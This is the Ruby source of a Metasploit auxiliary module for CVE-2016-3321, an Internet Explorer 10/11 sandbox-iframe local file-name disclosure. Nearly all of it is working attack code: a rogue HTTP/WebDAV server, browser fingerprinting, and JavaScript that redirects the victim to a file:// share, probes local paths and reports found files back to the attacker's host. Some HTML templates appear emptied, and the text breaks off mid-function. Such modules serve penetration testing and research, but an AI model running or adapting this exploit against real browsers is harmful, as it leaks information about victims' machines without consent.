## # This module requires Metasploit: http://www.metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => 'Internet Explorer Iframe Sandbox File Name Disclosure Vulnerability', 'Description' => %q{ It was found that Internet Explorer allows the disclosure of local file names. This issue exists due to the fact that Internet Explorer behaves different for file:// URLs pointing to existing and non-existent files. When used in combination with HTML5 sandbox iframes it is possible to use this behavior to find out if a local file exists. This technique only works on Internet Explorer 10 & 11 since these support the HTML5 sandbox. Also it is not possible to do this from a regular website as file:// URLs are blocked all together. The attack must be performed locally (works with Internet zone Mark of the Web) or from a share. }, 'License' => MSF_LICENSE, 'Author' => 'Yorick Koster', 'References' => [ ['CVE', '2016-3321'], ['MSB', 'MS16-095'], ['URL', 'https://securify.nl/advisory/SFY20160301/internet_explorer_iframe_sandbox_local_file_name_disclosure_vulnerability.html'], ], 'Platform' => 'win', 'Targets' => [ [ 'Internet Explorer', {} ], ], 'DisclosureDate' => "Aug 9 2016", 'DefaultTarget' => 0 )) register_options( [ OptString.new('SHARENAME', [ true, "The name of the top-level share.", "falcon" ]), OptString.new('PATHS', [ true, "The list of files to check (comma separated).", "Testing/Not/Found/Check.txt, Windows/System32/calc.exe, Program Files (x86)/Mozilla Firefox/firefox.exe, Program Files/VMware/VMware Tools/TPAutoConnSvc.exe" ]), ], self.class) # no SSL deregister_options('SSL', 'SSLVersion', 'SSLCert', 'SRVPORT', 'URIPATH') end def js my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] %Q|function report() { if(window.location.protocol != 'file:') { try { window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html'; } catch (e) { } return; } var frames = document.getElementsByTagName('iframe'); for(var i = 0; i < frames.length; i++) { try { if(frames[i].name == 'notfound') { frames[i].src = 'http://#{my_host}/notfound/?f=' + frames[i].src; } else { frames[i].src = 'http://#{my_host}/found/?f=' + frames[i].src; } } catch(e) { } } }| end def html frames = "" datastore['PATHS'].split(',').each do |path| frames = frames + "" end %Q|
#{frames} | end def svg my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] %Q| | end def is_target_suitable?(user_agent) if user_agent =~ /^Microsoft-WebDAV-MiniRedir/ return true end info = fingerprint_user_agent(user_agent) if info[:ua_name] == HttpClients::IE return true end false end def on_request_uri(cli, request) my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] case request.method when 'OPTIONS' process_options(cli, request) when 'PROPFIND' process_propfind(cli, request) when 'GET' unless is_target_suitable?(request.headers['User-Agent']) print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 image.svg") resp = create_response(200, "OK") resp.body = svg resp['Content-Type'] = 'image/svg+xml' resp['Content-Disposition'] = 'attachment;filename=image.svg' cli.send_response(resp) end case request.uri when /^\/found\/\?f=/ f = URI.unescape(request.uri.gsub('/found/?f=', '')) report_note(host: cli.peerhost, type: 'ie.filenames', data: f) print_good("Found file " + f) send_response(cli, '') when /^\/notfound\/\?f=/ f = URI.unescape(request.uri.gsub('/notfound/?f=', '')) print_error("The file " + f + " does not exist") send_response(cli, '') when "/" resp = create_response(200, "OK") resp.body = %Q| | resp['Content-Type'] = 'text/html' cli.send_response(resp) else print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 returning landing page") send_response(cli, html) end else print_status("#{request.method} #{request.uri} => 404") resp = create_response(404, "Not Found") resp.body = "" resp['Content-Type'] = 'text/html' cli.send_response(resp) end end # # OPTIONS requests sent by the WebDav Mini-Redirector # def process_options(cli, request) print_status("OPTIONS #{request.uri}") headers = { 'MS-Author-Via' => 'DAV', 'DASL' => '